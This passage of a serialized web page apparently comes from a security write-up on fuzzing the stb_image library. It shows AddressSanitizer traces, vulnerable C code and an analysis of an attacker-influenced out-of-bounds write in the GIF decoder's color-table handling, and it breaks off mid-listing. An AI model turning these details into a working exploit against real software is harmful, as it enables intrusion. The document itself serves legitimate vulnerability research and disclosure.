",{"type":21,"tag":198,"props":148033,"children":148034},{"style":683},[148035],{"type":27,"value":3917},{"type":21,"tag":198,"props":148037,"children":148038},{"style":211},[148039],{"type":27,"value":148040},"comp, ",{"type":21,"tag":198,"props":148042,"children":148043},{"style":2540},[148044],{"type":27,"value":3482},{"type":21,"tag":198,"props":148046,"children":148047},{"style":211},[148048],{"type":27,"value":1470},{"type":21,"tag":198,"props":148050,"children":148051},{"class":200,"line":450},[148052,148056,148061,148065,148069],{"type":21,"tag":198,"props":148053,"children":148054},{"style":640},[148055],{"type":27,"value":643},{"type":21,"tag":198,"props":148057,"children":148058},{"style":211},[148059],{"type":27,"value":148060}," (ret ",{"type":21,"tag":198,"props":148062,"children":148063},{"style":683},[148064],{"type":27,"value":9386},{"type":21,"tag":198,"props":148066,"children":148067},{"style":249},[148068],{"type":27,"value":128152},{"type":21,"tag":198,"props":148070,"children":148071},{"style":211},[148072],{"type":27,"value":668},{"type":21,"tag":198,"props":148074,"children":148075},{"class":200,"line":468},[148076,148080,148084],{"type":21,"tag":198,"props":148077,"children":148078},{"style":640},[148079],{"type":27,"value":16547},{"type":21,"tag":198,"props":148081,"children":148082},{"style":2540},[148083],{"type":27,"value":5335},{"type":21,"tag":198,"props":148085,"children":148086},{"style":211},[148087],{"type":27,"value":1483},{"type":21,"tag":198,"props":148089,"children":148090},{"class":200,"line":477},[148091],{"type":21,"tag":198,"props":148092,"children":148093},{"style":211},[148094],{"type":27,"value":880},{"type":21,"tag":198,"props":148096,"children":148097},{"class":200,"line":494},[148098],{"type":21,"tag":198,"props":148099,"children":148100},{"style":211},[148101],{"type":27,"value":62164},{"type":21,"tag":198,"props":148103,"children":148104},{"class":200,"line":515},[148105,148110],{"type":21,"tag":198,"props":148106,"children":148107},{"style":698},[148108],{"type":27,"value":148109}," stbi_image_free",{"type":21,"tag":198,"props":148111,"children":148112},{"style":211},[148113],{"type":27,"value":148114},"(ret);\n",{"type":21,"tag":198,"props":148116,"children":148117},{"class":200,"line":4484},[148118],{"type":21,"tag":198,"props":148119,"children":148120},{"emptyLinePlaceholder":16},[148121],{"type":27,"value":1283},{"type":21,"tag":198,"props":148123,"children":148124},{"class":200,"line":4493},[148125,148129,148133],{"type":21,"tag":198,"props":148126,"children":148127},{"style":640},[148128],{"type":27,"value":1478},{"type":21,"tag":198,"props":148130,"children":148131},{"style":2540},[148132],{"type":27,"value":3855},{"type":21,"tag":198,"props":148134,"children":148135},{"style":211},[148136],{"type":27,"value":1483},{"type":21,"tag":198,"props":148138,"children":148139},{"class":200,"line":4561},[148140],{"type":21,"tag":198,"props":148141,"children":148142},{"style":211},[148143],{"type":27,"value":1120},{"type":21,"tag":30,"props":148145,"children":148146},{},[148147],{"type":27,"value":148148},"And soon after starting the fuzzer it found an interesting bug:",{"type":21,"tag":187,"props":148150,"children":148152},{"code":148151},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n [...]\n #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n [...]\n",[148153],{"type":21,"tag":194,"props":148154,"children":148155},{"__ignoreMap":7},[148156],{"type":27,"value":148151},{"type":21,"tag":162,"props":148158,"children":148160},{"id":148159},"investigating-the-finding",[148161],{"type":27,"value":148162},"Investigating the Finding",{"type":21,"tag":30,"props":148164,"children":148165},{},[148166,148168,148174,148175,148180],{"type":27,"value":148167},"The ASAN output shows that at line ",{"type":21,"tag":194,"props":148169,"children":148171},{"className":148170},[],[148172],{"type":27,"value":148173},"6233",{"type":27,"value":143674},{"type":21,"tag":194,"props":148176,"children":148178},{"className":148177},[],[148179],{"type":27,"value":147707},{"type":27,"value":148181}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":21,"tag":187,"props":148183,"children":148185},{"code":148184,"language":3954,"meta":7,"className":17318,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n stbi_uc *p, *c;\n int idx; \n\n [...]\n\n if (g->cur_y >= g->max_y) return;\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; // OOB write\n",[148186],{"type":21,"tag":194,"props":148187,"children":148188},{"__ignoreMap":7},[148189,148231,148238,148264,148277,148284,148292,148299,148353,148360,148406,148439],{"type":21,"tag":198,"props":148190,"children":148191},{"class":200,"line":201},[148192,148196,148200,148205,148210,148214,148218,148223,148227],{"type":21,"tag":198,"props":148193,"children":148194},{"style":249},[148195],{"type":27,"value":51420},{"type":21,"tag":198,"props":148197,"children":148198},{"style":249},[148199],{"type":27,"value":51425},{"type":21,"tag":198,"props":148201,"children":148202},{"style":698},[148203],{"type":27,"value":148204}," stbi__out_gif_code",{"type":21,"tag":198,"props":148206,"children":148207},{"style":211},[148208],{"type":27,"value":148209},"(stbi__gif ",{"type":21,"tag":198,"props":148211,"children":148212},{"style":683},[148213],{"type":27,"value":5383},{"type":21,"tag":198,"props":148215,"children":148216},{"style":226},[148217],{"type":27,"value":109680},{"type":21,"tag":198,"props":148219,"children":148220},{"style":211},[148221],{"type":27,"value":148222},", stbi__uint16 ",{"type":21,"tag":198,"props":148224,"children":148225},{"style":226},[148226],{"type":27,"value":194},{"type":21,"tag":198,"props":148228,"children":148229},{"style":211},[148230],{"type":27,"value":789},{"type":21,"tag":198,"props":148232,"children":148233},{"class":200,"line":217},[148234],{"type":21,"tag":198,"props":148235,"children":148236},{"style":211},[148237],{"type":27,"value":11689},{"type":21,"tag":198,"props":148239,"children":148240},{"class":200,"line":236},[148241,148246,148250,148255,148259],{"type":21,"tag":198,"props":148242,"children":148243},{"style":211},[148244],{"type":27,"value":148245}," stbi_uc ",{"type":21,"tag":198,"props":148247,"children":148248},{"style":683},[148249],{"type":27,"value":5383},{"type":21,"tag":198,"props":148251,"children":148252},{"style":211},[148253],{"type":27,"value":148254},"p, ",{"type":21,"tag":198,"props":148256,"children":148257},{"style":683},[148258],{"type":27,"value":5383},{"type":21,"tag":198,"props":148260,"children":148261},{"style":211},[148262],{"type":27,"value":148263},"c;\n",{"type":21,"tag":198,"props":148265,"children":148266},{"class":200,"line":260},[148267,148272],{"type":21,"tag":198,"props":148268,"children":148269},{"style":249},[148270],{"type":27,"value":148271}," int",{"type":21,"tag":198,"props":148273,"children":148274},{"style":211},[148275],{"type":27,"value":148276}," idx; \n",{"type":21,"tag":198,"props":148278,"children":148279},{"class":200,"line":281},[148280],{"type":21,"tag":198,"props":148281,"children":148282},{"emptyLinePlaceholder":16},[148283],{"type":27,"value":1283},{"type":21,"tag":198,"props":148285,"children":148286},{"class":200,"line":302},[148287],{"type":21,"tag":198,"props":148288,"children":148289},{"style":211},[148290],{"type":27,"value":148291}," [...]\n",{"type":21,"tag":198,"props":148293,"children":148294},{"class":200,"line":323},[148295],{"type":21,"tag":198,"props":148296,"children":148297},{"emptyLinePlaceholder":16},[148298],{"type":27,"value":1283},{"type":21,"tag":198,"props":148300,"children":148301},{"class":200,"line":344},[148302,148306,148310,148314,148318,148323,148327,148332,148336,148341,148345,148349],{"type":21,"tag":198,"props":148303,"children":148304},{"style":640},[148305],{"type":27,"value":53020},{"type":21,"tag":198,"props":148307,"children":148308},{"style":211},[148309],{"type":27,"value":648},{"type":21,"tag":198,"props":148311,"children":148312},{"style":226},[148313],{"type":27,"value":109680},{"type":21,"tag":198,"props":148315,"children":148316},{"style":211},[148317],{"type":27,"value":14564},{"type":21,"tag":198,"props":148319,"children":148320},{"style":226},[148321],{"type":27,"value":148322},"cur_y",{"type":21,"tag":198,"props":148324,"children":148325},{"style":683},[148326],{"type":27,"value":9112},{"type":21,"tag":198,"props":148328,"children":148329},{"style":226},[148330],{"type":27,"value":148331}," g",{"type":21,"tag":198,"props":148333,"children":148334},{"style":211},[148335],{"type":27,"value":14564},{"type":21,"tag":198,"props":148337,"children":148338},{"style":226},[148339],{"type":27,"value":148340},"max_y",{"type":21,"tag":198,"props":148342,"children":148343},{"style":211},[148344],{"type":27,"value":1541},{"type":21,"tag":198,"props":148346,"children":148347},{"style":640},[148348],{"type":27,"value":1546},{"type":21,"tag":198,"props":148350,"children":148351},{"style":211},[148352],{"type":27,"value":1483},{"type":21,"tag":198,"props":148354,"children":148355},{"class":200,"line":365},[148356],{"type":21,"tag":198,"props":148357,"children":148358},{"emptyLinePlaceholder":16},[148359],{"type":27,"value":1283},{"type":21,"tag":198,"props":148361,"children":148362},{"class":200,"line":386},[148363,148368,148372,148376,148380,148385,148389,148393,148397,148401],{"type":21,"tag":198,"props":148364,"children":148365},{"style":211},[148366],{"type":27,"value":148367}," idx ",{"type":21,"tag":198,"props":148369,"children":148370},{"style":683},[148371],{"type":27,"value":3174},{"type":21,"tag":198,"props":148373,"children":148374},{"style":226},[148375],{"type":27,"value":148331},{"type":21,"tag":198,"props":148377,"children":148378},{"style":211},[148379],{"type":27,"value":14564},{"type":21,"tag":198,"props":148381,"children":148382},{"style":226},[148383],{"type":27,"value":148384},"cur_x",{"type":21,"tag":198,"props":148386,"children":148387},{"style":683},[148388],{"type":27,"value":1440},{"type":21,"tag":198,"props":148390,"children":148391},{"style":226},[148392],{"type":27,"value":148331},{"type":21,"tag":198,"props":148394,"children":148395},{"style":211},[148396],{"type":27,"value":14564},{"type":21,"tag":198,"props":148398,"children":148399},{"style":226},[148400],{"type":27,"value":148322},{"type":21,"tag":198,"props":148402,"children":148403},{"style":211},[148404],{"type":27,"value":148405},"; \n",{"type":21,"tag":198,"props":148407,"children":148408},{"class":200,"line":408},[148409,148414,148418,148422,148426,148430,148434],{"type":21,"tag":198,"props":148410,"children":148411},{"style":211},[148412],{"type":27,"value":148413}," p ",{"type":21,"tag":198,"props":148415,"children":148416},{"style":683},[148417],{"type":27,"value":3174},{"type":21,"tag":198,"props":148419,"children":148420},{"style":683},[148421],{"type":27,"value":7953},{"type":21,"tag":198,"props":148423,"children":148424},{"style":226},[148425],{"type":27,"value":109680},{"type":21,"tag":198,"props":148427,"children":148428},{"style":211},[148429],{"type":27,"value":14564},{"type":21,"tag":198,"props":148431,"children":148432},{"style":226},[148433],{"type":27,"value":119103},{"type":21,"tag":198,"props":148435,"children":148436},{"style":211},[148437],{"type":27,"value":148438},"[idx];\n",{"type":21,"tag":198,"props":148440,"children":148441},{"class":200,"line":429},[148442,148447,148451,148456,148461,148465,148469,148473,148477,148481,148485],{"type":21,"tag":198,"props":148443,"children":148444},{"style":226},[148445],{"type":27,"value":148446}," g",{"type":21,"tag":198,"props":148448,"children":148449},{"style":211},[148450],{"type":27,"value":14564},{"type":21,"tag":198,"props":148452,"children":148453},{"style":226},[148454],{"type":27,"value":148455},"history",{"type":21,"tag":198,"props":148457,"children":148458},{"style":211},[148459],{"type":27,"value":148460},"[idx ",{"type":21,"tag":198,"props":148462,"children":148463},{"style":683},[148464],{"type":27,"value":2232},{"type":21,"tag":198,"props":148466,"children":148467},{"style":2540},[148468],{"type":27,"value":12555},{"type":21,"tag":198,"props":148470,"children":148471},{"style":211},[148472],{"type":27,"value":9472},{"type":21,"tag":198,"props":148474,"children":148475},{"style":683},[148476],{"type":27,"value":3174},{"type":21,"tag":198,"props":148478,"children":148479},{"style":2540},[148480],{"type":27,"value":5335},{"type":21,"tag":198,"props":148482,"children":148483},{"style":211},[148484],{"type":27,"value":2182},{"type":21,"tag":198,"props":148486,"children":148487},{"style":1233},[148488],{"type":27,"value":148489}," // OOB write\n",{"type":21,"tag":30,"props":148491,"children":148492},{},[148493,148495,148500,148502,148508,148510,148516],{"type":27,"value":148494},"It’s reasonable to assume ",{"type":21,"tag":194,"props":148496,"children":148498},{"className":148497},[],[148499],{"type":27,"value":76899},{"type":27,"value":148501}," is outside the bounds of ",{"type":21,"tag":194,"props":148503,"children":148505},{"className":148504},[],[148506],{"type":27,"value":148507},"g->history",{"type":27,"value":148509},", which leads to a one-byte OOB write (",{"type":21,"tag":194,"props":148511,"children":148513},{"className":148512},[],[148514],{"type":27,"value":148515},"g->history[idx / 4] = 1",{"type":27,"value":148517},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":21,"tag":30,"props":148519,"children":148520},{},[148521,148523,148528,148530,148536,148538,148543,148545,148551,148553,148559],{"type":27,"value":148522},"Because ",{"type":21,"tag":194,"props":148524,"children":148526},{"className":148525},[],[148527],{"type":27,"value":30},{"type":27,"value":148529}," is computed from ",{"type":21,"tag":194,"props":148531,"children":148533},{"className":148532},[],[148534],{"type":27,"value":148535},"g->out[idx]",{"type":27,"value":148537}," immediately before the violation, we considered whether ",{"type":21,"tag":194,"props":148539,"children":148541},{"className":148540},[],[148542],{"type":27,"value":76899},{"type":27,"value":148544}," could also be OOB for ",{"type":21,"tag":194,"props":148546,"children":148548},{"className":148547},[],[148549],{"type":27,"value":148550},"g->out",{"type":27,"value":148552},". Note that computing the address ",{"type":21,"tag":194,"props":148554,"children":148556},{"className":148555},[],[148557],{"type":27,"value":148558},"&g->out[idx]",{"type":27,"value":148560}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":21,"tag":30,"props":148562,"children":148563},{},[148564,148566,148571],{"type":27,"value":148565},"If we comment out ",{"type":21,"tag":194,"props":148567,"children":148569},{"className":148568},[],[148570],{"type":27,"value":148515},{"type":27,"value":148572}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":21,"tag":187,"props":148574,"children":148576},{"code":148575},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n [...]\n",[148577],{"type":21,"tag":194,"props":148578,"children":148579},{"__ignoreMap":7},[148580],{"type":27,"value":148575},{"type":21,"tag":30,"props":148582,"children":148583},{},[148584],{"type":27,"value":148585},"This corresponds to:",{"type":21,"tag":187,"props":148587,"children":148589},{"code":148588,"language":3954,"meta":7,"className":17318,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n [...]\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; \n\n c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2]; // OOB write\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[148590],{"type":21,"tag":194,"props":148591,"children":148592},{"__ignoreMap":7},[148593,148632,148639,148646,148653,148696,148727,148771,148778,148846,148886,148931,148970,149009,149048],{"type":21,"tag":198,"props":148594,"children":148595},{"class":200,"line":201},[148596,148600,148604,148608,148612,148616,148620,148624,148628],{"type":21,"tag":198,"props":148597,"children":148598},{"style":249},[148599],{"type":27,"value":51420},{"type":21,"tag":198,"props":148601,"children":148602},{"style":249},[148603],{"type":27,"value":51425},{"type":21,"tag":198,"props":148605,"children":148606},{"style":698},[148607],{"type":27,"value":148204},{"type":21,"tag":198,"props":148609,"children":148610},{"style":211},[148611],{"type":27,"value":148209},{"type":21,"tag":198,"props":148613,"children":148614},{"style":683},[148615],{"type":27,"value":5383},{"type":21,"tag":198,"props":148617,"children":148618},{"style":226},[148619],{"type":27,"value":109680},{"type":21,"tag":198,"props":148621,"children":148622},{"style":211},[148623],{"type":27,"value":148222},{"type":21,"tag":198,"props":148625,"children":148626},{"style":226},[148627],{"type":27,"value":194},{"type":21,"tag":198,"props":148629,"children":148630},{"style":211},[148631],{"type":27,"value":789},{"type":21,"tag":198,"props":148633,"children":148634},{"class":200,"line":217},[148635],{"type":21,"tag":198,"props":148636,"children":148637},{"style":211},[148638],{"type":27,"value":11689},{"type":21,"tag":198,"props":148640,"children":148641},{"class":200,"line":236},[148642],{"type":21,"tag":198,"props":148643,"children":148644},{"style":211},[148645],{"type":27,"value":148291},{"type":21,"tag":198,"props":148647,"children":148648},{"class":200,"line":260},[148649],{"type":21,"tag":198,"props":148650,"children":148651},{"emptyLinePlaceholder":16},[148652],{"type":27,"value":1283},{"type":21,"tag":198,"props":148654,"children":148655},{"class":200,"line":281},[148656,148660,148664,148668,148672,148676,148680,148684,148688,148692],{"type":21,"tag":198,"props":148657,"children":148658},{"style":211},[148659],{"type":27,"value":148367},{"type":21,"tag":198,"props":148661,"children":148662},{"style":683},[148663],{"type":27,"value":3174},{"type":21,"tag":198,"props":148665,"children":148666},{"style":226},[148667],{"type":27,"value":148331},{"type":21,"tag":198,"props":148669,"children":148670},{"style":211},[148671],{"type":27,"value":14564},{"type":21,"tag":198,"props":148673,"children":148674},{"style":226},[148675],{"type":27,"value":148384},{"type":21,"tag":198,"props":148677,"children":148678},{"style":683},[148679],{"type":27,"value":1440},{"type":21,"tag":198,"props":148681,"children":148682},{"style":226},[148683],{"type":27,"value":148331},{"type":21,"tag":198,"props":148685,"children":148686},{"style":211},[148687],{"type":27,"value":14564},{"type":21,"tag":198,"props":148689,"children":148690},{"style":226},[148691],{"type":27,"value":148322},{"type":21,"tag":198,"props":148693,"children":148694},{"style":211},[148695],{"type":27,"value":148405},{"type":21,"tag":198,"props":148697,"children":148698},{"class":200,"line":302},[148699,148703,148707,148711,148715,148719,148723],{"type":21,"tag":198,"props":148700,"children":148701},{"style":211},[148702],{"type":27,"value":148413},{"type":21,"tag":198,"props":148704,"children":148705},{"style":683},[148706],{"type":27,"value":3174},{"type":21,"tag":198,"props":148708,"children":148709},{"style":683},[148710],{"type":27,"value":7953},{"type":21,"tag":198,"props":148712,"children":148713},{"style":226},[148714],{"type":27,"value":109680},{"type":21,"tag":198,"props":148716,"children":148717},{"style":211},[148718],{"type":27,"value":14564},{"type":21,"tag":198,"props":148720,"children":148721},{"style":226},[148722],{"type":27,"value":119103},{"type":21,"tag":198,"props":148724,"children":148725},{"style":211},[148726],{"type":27,"value":148438},{"type":21,"tag":198,"props":148728,"children":148729},{"class":200,"line":323},[148730,148734,148738,148742,148746,148750,148754,148758,148762,148766],{"type":21,"tag":198,"props":148731,"children":148732},{"style":226},[148733],{"type":27,"value":148446},{"type":21,"tag":198,"props":148735,"children":148736},{"style":211},[148737],{"type":27,"value":14564},{"type":21,"tag":198,"props":148739,"children":148740},{"style":226},[148741],{"type":27,"value":148455},{"type":21,"tag":198,"props":148743,"children":148744},{"style":211},[148745],{"type":27,"value":148460},{"type":21,"tag":198,"props":148747,"children":148748},{"style":683},[148749],{"type":27,"value":2232},{"type":21,"tag":198,"props":148751,"children":148752},{"style":2540},[148753],{"type":27,"value":12555},{"type":21,"tag":198,"props":148755,"children":148756},{"style":211},[148757],{"type":27,"value":9472},{"type":21,"tag":198,"props":148759,"children":148760},{"style":683},[148761],{"type":27,"value":3174},{"type":21,"tag":198,"props":148763,"children":148764},{"style":2540},[148765],{"type":27,"value":5335},{"type":21,"tag":198,"props":148767,"children":148768},{"style":211},[148769],{"type":27,"value":148770},"; \n",{"type":21,"tag":198,"props":148772,"children":148773},{"class":200,"line":344},[148774],{"type":21,"tag":198,"props":148775,"children":148776},{"emptyLinePlaceholder":16},[148777],{"type":27,"value":1283},{"type":21,"tag":198,"props":148779,"children":148780},{"class":200,"line":365},[148781,148786,148790,148794,148798,148802,148807,148811,148815,148819,148824,148829,148834,148838,148842],{"type":21,"tag":198,"props":148782,"children":148783},{"style":211},[148784],{"type":27,"value":148785}," c ",{"type":21,"tag":198,"props":148787,"children":148788},{"style":683},[148789],{"type":27,"value":3174},{"type":21,"tag":198,"props":148791,"children":148792},{"style":683},[148793],{"type":27,"value":7953},{"type":21,"tag":198,"props":148795,"children":148796},{"style":226},[148797],{"type":27,"value":109680},{"type":21,"tag":198,"props":148799,"children":148800},{"style":211},[148801],{"type":27,"value":14564},{"type":21,"tag":198,"props":148803,"children":148804},{"style":226},[148805],{"type":27,"value":148806},"color_table",{"type":21,"tag":198,"props":148808,"children":148809},{"style":211},[148810],{"type":27,"value":2051},{"type":21,"tag":198,"props":148812,"children":148813},{"style":226},[148814],{"type":27,"value":109680},{"type":21,"tag":198,"props":148816,"children":148817},{"style":211},[148818],{"type":27,"value":14564},{"type":21,"tag":198,"props":148820,"children":148821},{"style":226},[148822],{"type":27,"value":148823},"codes",{"type":21,"tag":198,"props":148825,"children":148826},{"style":211},[148827],{"type":27,"value":148828},"[code].",{"type":21,"tag":198,"props":148830,"children":148831},{"style":226},[148832],{"type":27,"value":148833},"suffix",{"type":21,"tag":198,"props":148835,"children":148836},{"style":683},[148837],{"type":27,"value":10626},{"type":21,"tag":198,"props":148839,"children":148840},{"style":2540},[148841],{"type":27,"value":12555},{"type":21,"tag":198,"props":148843,"children":148844},{"style":211},[148845],{"type":27,"value":32361},{"type":21,"tag":198,"props":148847,"children":148848},{"class":200,"line":386},[148849,148853,148857,148861,148865,148869,148873,148877,148882],{"type":21,"tag":198,"props":148850,"children":148851},{"style":640},[148852],{"type":27,"value":53020},{"type":21,"tag":198,"props":148854,"children":148855},{"style":211},[148856],{"type":27,"value":648},{"type":21,"tag":198,"props":148858,"children":148859},{"style":226},[148860],{"type":27,"value":3954},{"type":21,"tag":198,"props":148862,"children":148863},{"style":211},[148864],{"type":27,"value":2051},{"type":21,"tag":198,"props":148866,"children":148867},{"style":2540},[148868],{"type":27,"value":18097},{"type":21,"tag":198,"props":148870,"children":148871},{"style":211},[148872],{"type":27,"value":9472},{"type":21,"tag":198,"props":148874,"children":148875},{"style":683},[148876],{"type":27,"value":11270},{"type":21,"tag":198,"props":148878,"children":148879},{"style":2540},[148880],{"type":27,"value":148881}," 128",{"type":21,"tag":198,"props":148883,"children":148884},{"style":211},[148885],{"type":27,"value":668},{"type":21,"tag":198,"props":148887,"children":148888},{"class":200,"line":408},[148889,148894,148898,148902,148906,148910,148914,148918,148922,148926],{"type":21,"tag":198,"props":148890,"children":148891},{"style":226},[148892],{"type":27,"value":148893}," p",{"type":21,"tag":198,"props":148895,"children":148896},{"style":211},[148897],{"type":27,"value":2051},{"type":21,"tag":198,"props":148899,"children":148900},{"style":2540},[148901],{"type":27,"value":3482},{"type":21,"tag":198,"props":148903,"children":148904},{"style":211},[148905],{"type":27,"value":9472},{"type":21,"tag":198,"props":148907,"children":148908},{"style":683},[148909],{"type":27,"value":3174},{"type":21,"tag":198,"props":148911,"children":148912},{"style":226},[148913],{"type":27,"value":38207},{"type":21,"tag":198,"props":148915,"children":148916},{"style":211},[148917],{"type":27,"value":2051},{"type":21,"tag":198,"props":148919,"children":148920},{"style":2540},[148921],{"type":27,"value":3931},{"type":21,"tag":198,"props":148923,"children":148924},{"style":211},[148925],{"type":27,"value":56288},{"type":21,"tag":198,"props":148927,"children":148928},{"style":1233},[148929],{"type":27,"value":148930}," // OOB write\n",{"type":21,"tag":198,"props":148932,"children":148933},{"class":200,"line":429},[148934,148938,148942,148946,148950,148954,148958,148962,148966],{"type":21,"tag":198,"props":148935,"children":148936},{"style":226},[148937],{"type":27,"value":148893},{"type":21,"tag":198,"props":148939,"children":148940},{"style":211},[148941],{"type":27,"value":2051},{"type":21,"tag":198,"props":148943,"children":148944},{"style":2540},[148945],{"type":27,"value":134},{"type":21,"tag":198,"props":148947,"children":148948},{"style":211},[148949],{"type":27,"value":9472},{"type":21,"tag":198,"props":148951,"children":148952},{"style":683},[148953],{"type":27,"value":3174},{"type":21,"tag":198,"props":148955,"children":148956},{"style":226},[148957],{"type":27,"value":38207},{"type":21,"tag":198,"props":148959,"children":148960},{"style":211},[148961],{"type":27,"value":2051},{"type":21,"tag":198,"props":148963,"children":148964},{"style":2540},[148965],{"type":27,"value":134},{"type":21,"tag":198,"props":148967,"children":148968},{"style":211},[148969],{"type":27,"value":32361},{"type":21,"tag":198,"props":148971,"children":148972},{"class":200,"line":450},[148973,148977,148981,148985,148989,148993,148997,149001,149005],{"type":21,"tag":198,"props":148974,"children":148975},{"style":226},[148976],{"type":27,"value":148893},{"type":21,"tag":198,"props":148978,"children":148979},{"style":211},[148980],{"type":27,"value":2051},{"type":21,"tag":198,"props":148982,"children":148983},{"style":2540},[148984],{"type":27,"value":3931},{"type":21,"tag":198,"props":148986,"children":148987},{"style":211},[148988],{"type":27,"value":9472},{"type":21,"tag":198,"props":148990,"children":148991},{"style":683},[148992],{"type":27,"value":3174},{"type":21,"tag":198,"props":148994,"children":148995},{"style":226},[148996],{"type":27,"value":38207},{"type":21,"tag":198,"props":148998,"children":148999},{"style":211},[149000],{"type":27,"value":2051},{"type":21,"tag":198,"props":149002,"children":149003},{"style":2540},[149004],{"type":27,"value":3482},{"type":21,"tag":198,"props":149006,"children":149007},{"style":211},[149008],{"type":27,"value":32361},{"type":21,"tag":198,"props":149010,"children":149011},{"class":200,"line":468},[149012,149016,149020,149024,149028,149032,149036,149040,149044],{"type":21,"tag":198,"props":149013,"children":149014},{"style":226},[149015],{"type":27,"value":148893},{"type":21,"tag":198,"props":149017,"children":149018},{"style":211},[149019],{"type":27,"value":2051},{"type":21,"tag":198,"props":149021,"children":149022},{"style":2540},[149023],{"type":27,"value":18097},{"type":21,"tag":198,"props":149025,"children":149026},{"style":211},[149027],{"type":27,"value":9472},{"type":21,"tag":198,"props":149029,"children":149030},{"style":683},[149031],{"type":27,"value":3174},{"type":21,"tag":198,"props":149033,"children":149034},{"style":226},[149035],{"type":27,"value":38207},{"type":21,"tag":198,"props":149037,"children":149038},{"style":211},[149039],{"type":27,"value":2051},{"type":21,"tag":198,"props":149041,"children":149042},{"style":2540},[149043],{"type":27,"value":18097},{"type":21,"tag":198,"props":149045,"children":149046},{"style":211},[149047],{"type":27,"value":32361},{"type":21,"tag":198,"props":149049,"children":149050},{"class":200,"line":477},[149051],{"type":21,"tag":198,"props":149052,"children":149053},{"style":211},[149054],{"type":27,"value":35525},{"type":21,"tag":30,"props":149056,"children":149057},{},[149058,149060,149065,149067,149072],{"type":27,"value":149059},"This confirms ",{"type":21,"tag":194,"props":149061,"children":149063},{"className":149062},[],[149064],{"type":27,"value":76899},{"type":27,"value":149066}," is OOB for ",{"type":21,"tag":194,"props":149068,"children":149070},{"className":149069},[],[149071],{"type":27,"value":148550},{"type":27,"value":149073}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":21,"tag":30,"props":149075,"children":149076},{},[149077,149079,149085,149087,149094],{"type":27,"value":149078},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":21,"tag":194,"props":149080,"children":149082},{"className":149081},[],[149083],{"type":27,"value":149084},"g->color_table",{"type":27,"value":149086}," is populated by ",{"type":21,"tag":34,"props":149088,"children":149091},{"href":149089,"rel":149090},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[38],[149092],{"type":27,"value":149093},"stbi__gif_parse_colortable",{"type":27,"value":185},{"type":21,"tag":187,"props":149096,"children":149098},{"code":149097,"language":3954,"meta":7,"className":17318,"style":7},"static void stbi__gif_parse_colortable(\n stbi__context *s,\n stbi_uc pal[256][4], // g->color_table\n int num_entries,\n int transp\n) {\n int i;\n for (i=0; i \u003C num_entries; ++i) {\n pal[i][2] = stbi__get8(s);\n pal[i][1] = stbi__get8(s);\n pal[i][0] = stbi__get8(s);\n pal[i][3] = transp == i ? 0 : 255;\n }\n}\n",[149099],{"type":21,"tag":194,"props":149100,"children":149101},{"__ignoreMap":7},[149102,149122,149142,149181,149197,149209,149216,149227,149270,149304,149335,149366,149423,149430],{"type":21,"tag":198,"props":149103,"children":149104},{"class":200,"line":201},[149105,149109,149113,149118],{"type":21,"tag":198,"props":149106,"children":149107},{"style":249},[149108],{"type":27,"value":51420},{"type":21,"tag":198,"props":149110,"children":149111},{"style":249},[149112],{"type":27,"value":51425},{"type":21,"tag":198,"props":149114,"children":149115},{"style":698},[149116],{"type":27,"value":149117}," stbi__gif_parse_colortable",{"type":21,"tag":198,"props":149119,"children":149120},{"style":211},[149121],{"type":27,"value":4268},{"type":21,"tag":198,"props":149123,"children":149124},{"class":200,"line":217},[149125,149130,149134,149138],{"type":21,"tag":198,"props":149126,"children":149127},{"style":211},[149128],{"type":27,"value":149129}," stbi__context ",{"type":21,"tag":198,"props":149131,"children":149132},{"style":683},[149133],{"type":27,"value":5383},{"type":21,"tag":198,"props":149135,"children":149136},{"style":226},[149137],{"type":27,"value":11460},{"type":21,"tag":198,"props":149139,"children":149140},{"style":211},[149141],{"type":27,"value":257},{"type":21,"tag":198,"props":149143,"children":149144},{"class":200,"line":236},[149145,149150,149155,149159,149163,149167,149171,149176],{"type":21,"tag":198,"props":149146,"children":149147},{"style":211},[149148],{"type":27,"value":149149}," stbi_uc 